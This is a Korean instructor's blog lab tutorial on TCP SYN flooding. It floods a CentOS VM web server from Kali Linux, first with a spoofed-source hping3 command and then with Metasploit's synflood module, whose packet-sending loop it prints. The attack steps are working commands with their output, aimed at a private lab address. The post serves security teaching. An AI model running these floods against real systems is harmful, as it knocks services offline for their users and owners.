정보보안(구버전)/공격툴&정보수집 2016. 5. 25. 13:45

공격툴&정보수집 - 07. TCP Syn Flooding 공격 (DoS Attack)

 

 

본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다.

 

 

TCP Syn Flooding 공격

 

 - TCP Syn 세그먼트를 시스템, 서버에게 대량으로 전송하여 네트워크 및 시스템 부하를 발생시키는 공격이다.

 - 또한, 서버가 Syn 대량으로 처리하기 때문에 클라이언트가 전송한 Syn 처리를 불가능하게 하여, 접근을 방해한다.

 

 

@ CentOS

 

 - HTTP 서비스 활성화 및 테스트 웹-페이지 생성

 

[root@CentOS /root]# pgrep -lf httpd
[root@CentOS /root]# service httpd restart

[root@CentOS /root]# chkconfig httpd on

 

[root@CentOS /root]# cd /var/www/html
[root@CentOS var/www/html]# mkdir -p test
[root@CentOS var/www/html]# echo 'TCP Syn Flooding Test Page' > /var/www/html/test/index.html

[root@CentOS var/www/html]# cd
[root@CentOS /root]#

 


@ Window2008

 

 - CentOS으로 HTTP 접속 확인

 

http://192.168.20.200

http://192.168.20.200/test

 

 

 

Ex1) TCP Syn Flooding 공격 I (툴 : hping3)

 

@ CentOS

 

 - 와이어샤크 실행 및 캡처 실시 (Capture -> Interfaces -> eth0 start 클릭)

 - gnome-system-monitor 실행

 

 

@ Kali Linux

 

 - CentOS로 TCP Syn Flooding 공격 실시

 

 -S : TCP Syn flag

 -a : spoof source address

 -i : interval (u1 : 1microseconds)

 -p : port number


root@kali:~# hping3 -S -a 13.13.10.1 -i u1 -p 80 192.168.20.200
HPING 192.168.20.200 (eth1 192.168.20.200): S set, 40 headers + 0 data bytes
~ 10초 정도 진행 실시 ~

 

(ctrl+c)


--- 192.168.20.200 hping statistic ---
340842 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

 

 

@ CentOS

 

 - 와이어샤크 캡처 내용 확인

 

 

 

 

 - gnome-system-monitor 확인

 

 

 

 

 - CentOS 상태가 맛이 갔다면, VMware에서 강제로 'reset'를 실시한다.

 

 

 

 

Ex2) TCP Syn Flooding 공격 II (툴 : Metasploit 이용)

 

@ CentOS

 

 - 와이어샤크 실행 및 캡처 실시 (Capture -> Interfaces -> eth0 start 클릭)

 

 

@ Kali Linux

 

 - CentOS로 TCP Syn Flooding 공격 실시

 

root@kali:~/bin# netstat -antp | grep :5432


root@kali:~/bin# service postgresql start


root@kali:~/bin# netstat -antp | grep :5432
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      1850/postgres  
tcp6       0      0 ::1:5432                :::*                    LISTEN      1850/postgres

 

root@kali:~/bin# msfconsole

 

msf > show -h
[*] Valid parameters for the "show" command are: all, encoders, nops, exploits, payloads, auxiliary, plugins, options
[*] Additional module-specific parameters are: missing, advanced, evasion, targets, actions
msf >
msf > show auxiliary

~ 중간 생략 ~

 

msf > use auxiliary/dos/tcp/synflood
msf auxiliary(synflood) > show options

 

Module options (auxiliary/dos/tcp/synflood):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   INTERFACE                   no        The name of the interface
   NUM                         no        Number of SYNs to send (else unlimited)
   RHOST                       yes       The target address
   RPORT      80               yes       The target port
   SHOST                       no        The spoofable source address (else randomizes)
   SNAPLEN    65535            yes       The number of bytes to capture
   SPORT                       no        The source port (else randomizes)
   TIMEOUT    500              yes       The number of seconds to wait for new data

 

msf auxiliary(synflood) > set RHOST 192.168.20.200
RHOST => 192.168.20.200

msf auxiliary(synflood) > set INTERFACE eth1
INTERFACE => eth1


msf auxiliary(synflood) > show options

 

Module options (auxiliary/dos/tcp/synflood):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   INTERFACE  eth1              no        The name of the interface
   NUM                         no        Number of SYNs to send (else unlimited)
   RHOST      192.168.20.200   yes       The target address
   RPORT      80               yes       The target port
   SHOST                       no        The spoofable source address (else randomizes)
   SNAPLEN    65535            yes       The number of bytes to capture
   SPORT                       no        The source port (else randomizes)
   TIMEOUT    500              yes       The number of seconds to wait for new data

 

msf auxiliary(synflood) > exploit

[*] SYN flooding 192.168.20.200:80...

~ 1분 정도 진행 실시 ~

(ctrll+c)

 

[-] Auxiliary interrupted by the console user
[*] Auxiliary module execution completed
msf auxiliary(synflood) >
msf auxiliary(synflood) > exit

root@kali:~/bin#

 

 

@ CentOS

 

 - 와이어샤크 캡처 내용 확인

 

 

 

 

@ Kali Linux

 

 - 'synflood.rb' 파일 확인

 

root@kali:~/bin# cd /usr/share/metasploit-framework
root@kali:/usr/share/metasploit-framework#
root@kali:/usr/share/metasploit-framework# ls
Gemfile       config  metasploit-framework-db.gemspec    modules     msfdb        msfrop     msfvenom  tools
Gemfile.lock  data    metasploit-framework-full.gemspec  msfbinscan  msfelfscan   msfrpc     plugins   vendor
Rakefile      db      metasploit-framework-pcap.gemspec  msfconsole  msfmachscan  msfrpcd    ruby
app           lib     metasploit-framework.gemspec       msfd        msfpescan    msfupdate  scripts

root@kali:/usr/share/metasploit-framework# cd modules/auxiliary/dos/tcp
root@kali:/usr/share/metasploit-framework/modules/auxiliary/dos/tcp#
root@kali:/usr/share/metasploit-framework/modules/auxiliary/dos/tcp# ls
junos_tcp_opt.rb  synflood.rb

root@kali:/usr/share/metasploit-framework/modules/auxiliary/dos/tcp# vi synflood.rb

 

~ 중간 생략 ~

 

    
    open_pcap

    sent = 0
    num = datastore['NUM']

 

    print_status("SYN flooding #{rhost}:#{rport}...")

 

    p = PacketFu::TCPPacket.new
    p.ip_saddr = srchost
    p.ip_daddr = rhost
    p.tcp_dport = rport
    p.tcp_flags.syn = 1

 

    while (num <= 0) or (sent < num)
      p.ip_ttl = rand(128)+128
      p.tcp_win = rand(4096)+1
      p.tcp_sport = sport
      p.tcp_seq = rand(0x100000000)
      p.recalc
      capture_sendto(p,rhost)
      sent += 1
    end

 

    close_pcap
  end
end
      

: q

 

 

root@kali:/usr/share/metasploit-framework/modules/auxiliary/dos/tcp# cd
root@kali:~#

 

 

 - 만약,CentOS 상태가 맛이 갔다면, VMware에서 강제로 'reset'를 실시한다.



[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)


공격툴&정보수집 - 제7장 TCP Syn Flooding 공격 (DoS Attack)   https://youtu.be/fENQelqKYxs

Posted by 김정우 강사(카카오톡 : kim10322)
,


Q